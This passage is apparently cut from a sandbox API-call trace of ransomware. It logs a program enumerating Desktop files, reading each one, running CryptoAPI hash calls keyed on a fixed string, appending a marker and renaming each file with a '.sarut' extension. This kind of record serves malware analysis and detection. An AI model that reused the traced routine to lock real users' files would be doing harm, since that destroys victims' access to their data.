CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.827] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10622, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.827] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.827] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.827] CloseHandle (hObject=0x5c4) returned 1 [0267.836] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2l ht.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2l ht.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2l ht.rtf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2l ht.rtf.sarut")) returned 1 [0267.839] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb23f60, ftCreationTime.dwHighDateTime=0x1d4c887, ftLastAccessTime.dwLowDateTime=0x92fdb2a0, ftLastAccessTime.dwHighDateTime=0x1d4d4c6, ftLastWriteTime.dwLowDateTime=0x92fdb2a0, ftLastWriteTime.dwHighDateTime=0x1d4d4c6, nFileSizeHigh=0x0, nFileSizeLow=0x1a23, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="496tLHemB5Lzkb7xCb7M.mkv", cAlternateFileName="496TLH~1.MKV")) returned 1 [0267.839] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\496tLHemB5Lzkb7xCb7M.mkv") returned=".mkv" [0267.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\496tLHemB5Lzkb7xCb7M.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\496tlhemb5lzkb7xcb7m.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.839] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=6691) returned 1 [0267.839] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.842] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x19fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.842] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.844] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1a23, lpOverlapped=0x0) returned 1 [0267.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.845] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.848] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.848] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.848] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.848] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.848] SetLastError (dwErrCode=0x0) [0267.848] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] GetLastError () returned 0x0 [0267.849] SetLastError (dwErrCode=0x0) [0267.849] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.849] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.850] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1a23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.850] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.850] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.850] CloseHandle (hObject=0x5c4) returned 1 [0267.852] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\496tLHemB5Lzkb7xCb7M.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\496tlhemb5lzkb7xcb7m.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\496tLHemB5Lzkb7xCb7M.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\496tlhemb5lzkb7xcb7m.mkv.sarut")) returned 1 [0267.858] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5ZcHC6YUYXtvBMsNr4", cAlternateFileName="5ZCHC6~1")) returned 1 [0267.859] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a47cec0, ftCreationTime.dwHighDateTime=0x1d4d33b, ftLastAccessTime.dwLowDateTime=0x879a42a0, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x879a42a0, ftLastWriteTime.dwHighDateTime=0x1d4d1d5, nFileSizeHigh=0x0, nFileSizeLow=0x1870c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bljvKKc.mp3", cAlternateFileName="")) returned 1 [0267.859] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bljvKKc.mp3") returned=".mp3" [0267.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bljvKKc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bljvkkc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.859] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=100108) returned 1 [0267.859] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.861] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x186e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.861] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.862] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1870c, lpOverlapped=0x0) returned 1 [0267.863] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.863] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.863] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.863] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.864] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.864] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.864] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.864] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.864] GetLastError () returned 0x0 [0267.864] SetLastError (dwErrCode=0x0) [0267.864] GetLastError () returned 0x0 [0267.864] SetLastError (dwErrCode=0x0) [0267.864] GetLastError () returned 0x0 [0267.864] SetLastError (dwErrCode=0x0) [0267.864] GetLastError () returned 0x0 [0267.864] SetLastError (dwErrCode=0x0) [0267.864] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.865] SetLastError (dwErrCode=0x0) [0267.865] GetLastError () returned 0x0 [0267.866] SetLastError (dwErrCode=0x0) [0267.866] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.866] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.867] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1870c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.867] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.867] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.867] CloseHandle (hObject=0x5c4) returned 1 [0267.873] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bljvKKc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bljvkkc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bljvKKc.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bljvkkc.mp3.sarut")) returned 1 [0267.875] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x343126c0, ftCreationTime.dwHighDateTime=0x1d4cf40, ftLastAccessTime.dwLowDateTime=0x54f0b430, ftLastAccessTime.dwHighDateTime=0x1d4d165, ftLastWriteTime.dwLowDateTime=0x54f0b430, ftLastWriteTime.dwHighDateTime=0x1d4d165, nFileSizeHigh=0x0, nFileSizeLow=0x4fa3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bWkYr4TM2TfL3vpMnJ.doc", cAlternateFileName="BWKYR4~1.DOC")) returned 1 [0267.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bWkYr4TM2TfL3vpMnJ.doc") returned=".doc" [0267.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bWkYr4TM2TfL3vpMnJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwkyr4tm2tfl3vpmnj.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.875] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=20387) returned 1 [0267.875] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.877] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4f7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.877] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.878] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4fa3, lpOverlapped=0x0) returned 1 [0267.879] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.879] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.879] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.879] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0267.880] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.880] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.880] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.880] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.880] SetLastError (dwErrCode=0x0) [0267.880] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.881] SetLastError (dwErrCode=0x0) [0267.881] GetLastError () returned 0x0 [0267.889] SetLastError (dwErrCode=0x0) [0267.889] GetLastError () returned 0x0 [0267.889] SetLastError (dwErrCode=0x0) [0267.889] GetLastError () returned 0x0 [0267.889] SetLastError (dwErrCode=0x0) [0267.889] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.889] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.890] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4fa3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.890] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.892] CloseHandle (hObject=0x5c4) returned 1 [0267.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bWkYr4TM2TfL3vpMnJ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwkyr4tm2tfl3vpmnj.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bWkYr4TM2TfL3vpMnJ.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwkyr4tm2tfl3vpmnj.doc.sarut")) returned 1 [0267.898] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb536360, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0xca4a4f90, ftLastAccessTime.dwHighDateTime=0x1d4ce20, ftLastWriteTime.dwLowDateTime=0xca4a4f90, ftLastWriteTime.dwHighDateTime=0x1d4ce20, nFileSizeHigh=0x0, nFileSizeLow=0xe1d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c6jIP57RiiMG8.ods", cAlternateFileName="C6JIP5~1.ODS")) returned 1 [0267.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jIP57RiiMG8.ods") returned=".ods" [0267.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jIP57RiiMG8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jip57riimg8.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.898] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=57817) returned 1 [0267.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.900] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe1b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.900] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.902] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe1d9, lpOverlapped=0x0) returned 1 [0267.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.903] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.904] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.904] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.904] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.904] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.904] GetLastError () returned 0x0 [0267.904] SetLastError (dwErrCode=0x0) [0267.904] GetLastError () returned 0x0 [0267.904] SetLastError (dwErrCode=0x0) [0267.904] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] SetLastError (dwErrCode=0x0) [0267.905] GetLastError () returned 0x0 [0267.905] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.905] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.906] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe1d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.906] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.906] CloseHandle (hObject=0x5c4) returned 1 [0267.912] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jIP57RiiMG8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jip57riimg8.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c6jIP57RiiMG8.ods.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c6jip57riimg8.ods.sarut")) returned 1 [0267.919] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ca1f10, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0xf0718530, ftLastAccessTime.dwHighDateTime=0x1d4d4ce, ftLastWriteTime.dwLowDateTime=0xf0718530, ftLastWriteTime.dwHighDateTime=0x1d4d4ce, nFileSizeHigh=0x0, nFileSizeLow=0x16da3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CFtrxYI4ehxro.doc", cAlternateFileName="CFTRXY~1.DOC")) returned 1 [0267.919] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFtrxYI4ehxro.doc") returned=".doc" [0267.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CFtrxYI4ehxro.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cftrxyi4ehxro.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.919] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93603) returned 1 [0267.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.921] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16d7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.921] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.922] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16da3, lpOverlapped=0x0) returned 1 [0267.923] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.923] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.923] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.923] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.924] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.924] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.924] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.924] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.924] GetLastError () returned 0x0 [0267.924] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.924] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0267.925] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16da3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.925] lstrlenA 